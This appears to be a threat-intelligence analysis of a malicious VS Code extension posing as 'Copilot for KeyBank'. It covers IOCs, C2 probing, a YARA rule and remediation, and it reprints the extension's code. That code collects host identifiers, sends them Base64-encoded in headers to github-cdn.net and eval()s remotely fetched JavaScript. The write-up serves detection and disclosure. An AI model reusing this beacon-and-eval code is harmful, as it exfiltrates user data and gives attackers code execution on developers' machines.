Copilot for KeyBank — a 3 KB VSIX that beacons through github-cdn.net and waits for eval
A new VS Code extension called “Copilot for KeyBank” went live on the Microsoft Visual Studio Marketplace in August 2026. The publisher is verified, the display name on the marketplace is “Deep Seek”, and the package name is verified.pypi-keyBank. None of those brand names — GitHub Copilot, DeepSeek, PyPI, KeyBank — have anything to do with this extension. They are all cover. Behind the polished README and a fabricated multi-year CHANGELOG, the entire extension is a single 3.1 KB webpack-bundled extension.js that does one thing: on activation it phones https://github-cdn.net/api/license, sends your host identifiers Base64-encoded in four custom X-ApiKey-* headers, and waits for the response. If the response contains the word Authorized, the extension pulls a second URL out of that response and eval()s whatever JavaScript it returns.
This is pure malware. There is no legitimate feature. No smart routing, no SecretStorage, no per-language provider list, nothing the README describes. The pypi-keyBank extension is a beacon plus a remote-code-execution trigger, and it auto-fires the moment you open VS Code.
TL;DR
verified.pypi-keyBank-3.6.5is a single-file beacon + RCE extension. It registers apypi-lint.lintCurrentFilecommand and immediately invokes it on activation.- It exfiltrates
USERDOMAIN,os.userInfo().username,os.hostname(), andos.platform()as Base64 inX-ApiKey-Beta/Alpha/Prd/Devheaders tohttps://github-cdn.net/api/license. - On a response containing the literal string
Authorized, it splits the body on:, takes the second field as a URL, fetches it, andeval()s the result — arbitrary code execution inside the VS Code extension host. - The C2 backend at
github-cdn.netis live but currently in an “armed but not firing” state. AUser-Agent-keyed decision tree governs the response; the no-User-Agentrequest that the real extension sends returns a504 Gateway Timeoutafter ~70 seconds. NoAuthorizedpayload is being served to victims right now, but the infrastructure is listening and the operator is actively maintaining it. - Argus flagged the sample at 13:58 UTC on 2026-08-19 with riskScore 92,
C2_COMMUNICATION/ CRITICAL. A new YARA ruleY_Mal_verified_pypi_keybank_license_beaconnow anchors the campaign.
Why the cover works
The extension stacks four recognizable brand names on top of each other, and each one is chosen to blunt a different instinct a reviewer might have:
| Layer | Claim | Reality |
|---|---|---|
| Publisher | verified |
A generic, claimable marketplace slug. The display name was set to “Deep Seek” to impersonate DeepSeek — but DeepSeek ships no official marketplace extension, and verified is not DeepSeek’s publisher. |
| Package name | pypi-keyBank |
Neither PyPI nor KeyBank N.A. have any association. The names are blended to look like a Python packaging tool. |
| Display name | “Copilot for KeyBank” | No affiliation with GitHub Copilot or KeyBank. |
| Description | “blends Copilot’s reasoning with KeyBanks developers guidelines” | Marketing copy. The feature does not exist. |
| README | Polished product page: smart routing, fuse mode, per-language providers, SecretStorage, offline/telemetry-free mode | None of these features exist in the code. |
| CHANGELOG | Fake version history from 2024-05-19 (v1.0.0) through 2026-10-02 (v3.6.0) with realistic feature progression | The actual extension is one 3.1 KB beacon file. There is no version history. |
| C2 domain | github-cdn.net |
Not affiliated with GitHub. The .net TLD and cdn subdomain are designed to blend into proxy/IDS logs as benign GitHub traffic. |
| API path | /api/license |
Mimics legitimate license-validation endpoints. It is a beacon + RCE trigger. |
| Auth headers | X-ApiKey-Beta/Alpha/Prd/Dev |
Exfil channel. Base64-encoded host identifiers dressed as API-key parameters. |
contributes.commands |
cpds.launch (“Copilot: Launch Copilot”) |
A decoy. The code registers pypi-lint.lintCurrentFile instead, and that is what fires. |
The hidden asset is the cherry on top: the VSIX ships a 5,563-byte JPEG at extension/mKGt2Mb...=s128-rj-sc0x00ffffff, a Google user-content avatar filename pattern. The file is not referenced anywhere in the code — it is a decoy / obfuscation artifact that pads the package and may help evade naïve “single JS file” heuristics.
Malicious behavior, step by step
1. Auto-execute on activation
package.json sets activationEvents: ["*"] and main: ./dist/extension. The activate(context) function registers a command and immediately executes it:
function activate(context) {
const disposable = vscode.commands.registerCommand("pypi-lint.lintCurrentFile", () => {
// ... beacon + RCE code ...
});
context.subscriptions.push(disposable);
vscode.commands.executeCommand("pypi-lint.lintCurrentFile"); // <-- auto-fires
}
2. Identifier collection
const platform = os.platform();
const userDomain = process.env.USERDOMAIN;
const userInfo = os.userInfo();
const machineName = os.hostname();
const b64platform = Buffer.from(platform, "utf8").toString("base64");
let b64userDomain;
b64userDomain = userDomain === undefined
? Buffer.from("defaultDomain").toString("base64")
: Buffer.from(userDomain).toString("base64");
const b64userName = Buffer.from(userInfo.username, "utf8").toString("base64");
const b64machineName = Buffer.from(machineName, "utf8").toString("base64");
3. Beacon request (Base64 in custom headers)
const licenseUrl = "https://github-cdn.net/api/license";
const options = {
hostname: "github-cdn.net",
port: 443,
path: "/api/license",
method: "GET",
headers: {
"X-ApiKey-Beta": b64userDomain, // process.env.USERDOMAIN
"X-ApiKey-Alpha": b64userName, // os.userInfo().username
"X-ApiKey-Prd": b64machineName, // os.hostname()
"X-ApiKey-Dev": b64platform // os.platform()
}
};
const get_req = https.get(licenseUrl, options);
The C2 server decodes the four headers in its access logs and reconstructs the victim’s Windows domain, username, hostname, and OS platform. The headers are deliberately named to look like legitimate API-key auth parameters.
4. Remote code execution on “Authorized”
get_req.on("response", function(response) {
response.on("data", function(data) {
const responseData = data.toString();
if (responseData.includes("Authorized")) {
const elements = responseData.split(":");
const apiUrl = "https://" + elements[1];
https.get(apiUrl, function(res) {
res.on("data", function(data) {
eval(data.toString()); // <-- arbitrary RCE
});
});
} else {
responseData.includes("Denied") || setTimeout(attemptRequest, 36e5); // retry in 1h
}
});
});
get_req.end();
5. Silent persistence
On any exception, or a response containing Denied, the beacon re-attempts after one hour (setTimeout(attemptRequest, 36e5)). Errors are swallowed (console.error(e) then retry). The user sees no indication anything is happening.
Beacon payload — decoded header map
| HTTP Header | Source | Encoded value |
|---|---|---|
X-ApiKey-Beta |
process.env.USERDOMAIN (or "defaultDomain" on non-Windows) |
base64(userDomain) |
X-ApiKey-Alpha |
os.userInfo().username |
base64(username) |
X-ApiKey-Prd |
os.hostname() |
base64(hostname) |
X-ApiKey-Dev |
os.platform() |
base64(platform) |
C2 / infrastructure
| Type | Value |
|---|---|
| Domain | github-cdn.net |
| URL | https://github-cdn.net/api/license |
| Method | GET |
| Exfil | Base64 in X-ApiKey-* headers |
| RCE trigger | response body contains Authorized |
| RCE payload URL | https://<elements[1]> (parsed from response after :) |
| RCE execution | eval(data.toString()) on fetched payload |
| Retry | setTimeout(attemptRequest, 36e5) (1 hour) |
Live C2 behavior
We probed the C2 endpoint with the exact options object the extension uses — no User-Agent, no Accept — replicating the request a real victim’s Node.js runtime assembles. The TLS handshake and HTTP bytes are byte-identical to a non-proxied victim request.
Verified raw HTTP request bytes Node.js assembles for this extension:
GET /api/license HTTP/1.1
X-ApiKey-Beta: V09SS0dST1VQ
X-ApiKey-Alpha: ZGV2dXNlcg==
X-ApiKey-Prd: REVTS1RPUC1ERVYwMQ==
X-ApiKey-Dev: d2luMzI=
Host: github-cdn.net
Connection: keep-alive
(Decoded dummy victim values: WORKGROUP / devuser / DESKTOP-DEV01 / win32.)
Probe results — a User-Agent fingerprint gate
| Probe | User-Agent header |
HTTP response | Server |
Body | Time |
|---|---|---|---|---|---|
curl, Mozilla/5.0 UA |
Mozilla/5.0 |
504 Gateway Timeout |
BaseHTTP/0.6 Python/3.10.12 |
Timeout |
70s |
curl, node UA |
node |
504 Gateway Timeout |
BaseHTTP/0.6 Python/3.10.12 |
Timeout |
62s |
| curl, no UA header | (absent) | 504 Gateway Timeout |
BaseHTTP/0.6 Python/3.10.12 |
Timeout |
76s |
Node.js https.get (extension replication) |
(absent) | 504 Gateway Timeout |
BaseHTTP/0.6 Python/3.10.12 |
Timeout |
68s |
| curl, empty UA value | ` ` (empty) | 403 Denied |
BaseHTTP/0.6 Python/3.10.12 |
Denied |
33s |
| curl, default curl UA | curl/7.88.1 |
302 Found → github.com |
Apache/2.4.52 (Ubuntu) |
github.com HTML | 11s |
POST /api/license |
any | 302 Found → github.com |
Apache/2.4.52 (Ubuntu) |
github.com HTML | 1s |
All other paths (/, /api, /api/license/, /health, /api/v1/license, …) |
any | 302 Found → github.com |
Apache/2.4.52 (Ubuntu) |
github.com HTML | 1–7s |
The C2 backend varies its response by User-Agent. Three branches:
- No
User-Agentheader at all →504 Gateway Timeoutafter ~70 seconds. This is the path the real extension hits, and what every real victim experiences today. - Empty
User-Agentvalue →403 Deniedafter ~33 seconds. The explicit “Denied” path that suppresses the extension’s 1-hour retry. - Any concrete UA string → either 504 (for
Mozilla/5.0andnode) or the Apache 302 camouflage (forcurl/7.88.1).
This is a sleeping C2. The operator maintains the infrastructure and waits for a signal — a manual re-arm, a specific victim fingerprint, or a time window — before turning on payload delivery. The extension retries every hour and continues to get 504 timeouts, never reaching the eval() RCE branch. The Let’s Encrypt cert for github-cdn.net was issued at Aug 19 13:16:46 2026 GMT, about 42 minutes before Argus scanned the extension at 13:58 UTC. The operator is actively maintaining the infra.
Infrastructure history — 18 months of sleeping camouflage
github-cdn.net is not a freshly-registered domain. urlscan.io has observations going back to at least 2025-02-10. For most of its history it was a typosquat pointing at the real github.com — GitHub ASN AS36459, IPs in 140.82.{112,113,121}.x, German/Frankfurt edge lb-140-82-121-*-fra.github.com. Eighteen months of pointing at real GitHub infrastructure built up the domain’s reputation.
Then the operator pivoted:
| Date | What changed |
|---|---|
| 2025-02-10 → 2026-06-20 | github-cdn.net resolves to GitHub’s real IPs (140.82.x.x, AS36459), 302 → github.com |
| 2026-08-18 18:09 UTC | cdn.github-cdn.net cert issued (Let’s Encrypt YE2), moved to AWS Ashburn (100.58.149.126) |
| 2026-08-19 13:16 UTC | github-cdn.net cert issued (Let’s Encrypt YR1), moved to AWS Ashburn (13.217.62.189) |
| 2026-08-19 13:58 UTC | Argus scans verified.pypi-keyBank-3.6.5.vsix, flags C2_COMMUNICATION / CRITICAL |
| 2026-08-19 14:17 UTC | urlscan picks up the cert issuance via certstream-suspicious |
| 2026-08-19 14:54 UTC | Probed GET /api/license returns 504 Timeout |
The operator provisioned C2 infrastructure on AWS Ashburn (AS14618) within hours of — or coincident with — publishing the malicious VSIX. The previous 18 months of pointing at real GitHub infra was likely reconnaissance / domain-aging to build legitimacy before pivoting to malicious use.
github-cdn.net is not GitHub
GitHub’s legitimate CDN domains are github.io, githubusercontent.com, githubassets.com, and the like. The .net TLD and cdn subdomain are designed to blend into proxy/IDS logs as benign GitHub-related traffic. The domain is registered specifically to impersonate GitHub infrastructure.
MITRE ATT&CK mapping
- T1071.001 — Application Layer Protocol: Web Protocols (HTTPS beacon to
github-cdn.net/api/license) - T1041 — Exfiltration Over C2 Channel (Base64-encoded host identifiers in
X-ApiKey-*headers) - T1059.007 — Command and Scripting Interpreter: JavaScript (
evalof fetched payload inside extension host) - T1105 — Ingress Tool Transfer (arbitrary JavaScript fetched from operator-controlled URL and eval’d)
- T1027 — Obfuscated Files or Information (webpack minification + impersonation of legitimate product)
- T1036 — Masquerading (publisher “verified”, display name “Copilot for KeyBank”, C2 domain
github-cdn.net)
Detection — a new YARA rule
Argus’ AI static analysis caught this sample on first scan with C2_COMMUNICATION / CRITICAL, riskScore 92. No prior YARA rule matched, so we wrote one. Y_Mal_verified_pypi_keybank_license_beacon (severity CRITICAL, score 95) anchors on the campaign’s distinctive combination of:
- VS Code extension shape —
require("vscode"),function activate,registerCommand,executeCommand(auto-fires the registered command). - C2 sink —
github-cdn.net+/api/license. - Base64-header exfiltration — at least 3 of
X-ApiKey-Beta/Alpha/Prd/Dev. - Identifier collection —
hostname(),userInfo(),platform(),process.env.USERDOMAIN, or the webpack-bundled os-module markeros__WEBPACK_IMPORTED_MODULE. - Base64 encoding —
Buffer.from(+.toString("base64"). - HTTPS request primitive —
https.get,require("https"). - RCE or persistence primitive — the
Authorizedresponse gate, theeval(data.toString())call, theresponseData.split(":")URL parse, theapiUrl = "https://" + elements[1]construction, or the 1-hoursetTimeout(attemptRequest, 36e5)retry.
Validation:
- Compiles cleanly under yara 4.5.4.
- Seed match: 41 string instances matched against the seed
extension.js. - False-positive sweep: 0 hits across 216 corpus files + 218 artifact files. The only “match” is the rule file itself, which contains the IOCs in its description — expected and acceptable.
Comparison with related Argus campaigns
This extension shares structural DNA with several prior Argus campaigns but uses distinct C2 infrastructure and tradecraft:
| Trait | This campaign | OnPointEPM CodeBridge | apee.my.id | nubia.my.id |
|---|---|---|---|---|
| Publisher | verified (impersonation) |
OnPointEPM (real) |
many impersonated slugs | many impersonated slugs |
| C2 domain | github-cdn.net (lookalike) |
vscode-license.onpointepm.co (publisher-owned) |
i.apee.my.id, result.i.apee.my.id |
nubia.my.id |
| API path | /api/license |
/api/license/{validate,check-status,sync} |
/result-scan-ext, /cb |
/cb |
| Exfil channel | Base64 in X-ApiKey-* headers |
JSON body in POST | DNS labels, POST body, WebView img, terminal curl | POST body |
| RCE | eval(data.toString()) on Authorized |
MCP server / VB LSP auto-download | DNS only (no RCE) | no RCE |
| Persistence | 1h retry timer | 4h license timer | onDidSaveTextDocument / startup | startup |
| Disguise | “Copilot for KeyBank” + fake README/CHANGELOG | Real OneStream tool with misleading privacy policy | Minimal info command | Minimal info command |
Key difference: Unlike the OnPointEPM campaign (riskware/PUP), this extension is pure malware — there is no legitimate functionality. The entire product description is fabricated, and the code’s only purpose is beacon + RCE. The use of eval() for remote code execution is more aggressive than any prior campaign in the Argus corpus.
What to do
If you installed verified.pypi-keyBank:
- Uninstall it from VS Code immediately.
- Treat the host as compromised. The C2 has been live and listening since 2026-08-19; even without a served payload, the beacon has already exfiltrated your Windows domain, username, hostname, and OS platform on every IDE start.
- Run a full malware scan. The
eval()branch, if it ever fires on you, runs with the full privileges of the VS Code extension host.
For platform maintainers:
- A publisher slug named
verifiedwith a display name of “Deep Seek” should be a blocking signal, not a marketplace listing. The publisher slug is claimable by anyone. - The fake CHANGELOG dating back to 2024-05-19 for an extension that was first published in August 2026 is a strong abuse signal worth flagging at upload time.
/api/licenseas a C2 path is becoming a recognizable pattern — see the OnPointEPM campaign for the same endpoint name used by a different actor.
Indicators of Compromise
Malicious extension identifier
verified.pypi-keyBank(version 3.6.5)- Marketplace: https://marketplace.visualstudio.com/items?itemName=verified.pypi-keyBank
- Publisher:
verified(display name “Deep Seek”)
Network
| Type | Value |
|---|---|
| Domain | github-cdn.net |
| Sibling host | cdn.github-cdn.net |
| URL | https://github-cdn.net/api/license |
| AWS Ashburn IP (apex) | 13.217.62.189 (AS14618) |
| AWS Ashburn IP (sibling) | 100.58.149.126 (AS14618) |
| Cert issuer | Let’s Encrypt YR1 (apex, issued 2026-08-19 13:16:46 UTC) |
| Cert issuer | Let’s Encrypt YE2 (cdn. subdomain, issued 2026-08-18 18:09:46 UTC) |
Exfil headers (decoded)
| HTTP Header | Source |
|---|---|
X-ApiKey-Beta |
base64(process.env.USERDOMAIN) |
X-ApiKey-Alpha |
base64(os.userInfo().username) |
X-ApiKey-Prd |
base64(os.hostname()) |
X-ApiKey-Dev |
base64(os.platform()) |
File hashes
| Artifact | SHA-256 | Size |
|---|---|---|
| VSIX (S3 key) | 9c83bfa569e5c56f5470ea098746d0cc1d5a269314f1cade0e28bb7376601d00 |
21,176 bytes |
extension/dist/extension.js |
dcc76854dbf659ea2e9c4402e328dd774cd5f971a4a68af9540b84b6a2014837 |
3,141 bytes |
| Stage-1 504 response body (C2 capture) | 70594d932950a164e0d820060410af4ea1d127b7221f577d2dcfc22c2d8ff1df |
7 bytes |
Behavioral
require("vscode")extension that callsexecuteCommandon aregisterCommandtarget insideactivate.- A
https.getcall togithub-cdn.net/api/licensewithX-ApiKey-{Beta,Alpha,Prd,Dev}headers. - A
Buffer.from(...).toString("base64")encoding ofUSERDOMAIN,userInfo().username,hostname(), andplatform(). - A response branch on the literal string
Authorizedthat splits the body on:, buildshttps://+ the second field, fetches it, andeval()s the body. - A
setTimeout(attemptRequest, 36e5)1-hour retry onDeniedor error.
The verified.pypi-keyBank extension is small enough to read in one sitting, and that is what makes it instructive. Every layer of the package — publisher slug, display name, package name, README, CHANGELOG, C2 domain, API path, request headers, the bundled JPEG — is a deliberate piece of cover. The malicious behavior fits in roughly 80 lines of JavaScript. The C2 is live, listening, and User-Agent-gated; it has not fired a payload yet, but the operator has been maintaining the infrastructure for over 18 months and pushed fresh certificates hours before the extension went public. The word to watch for is Authorized.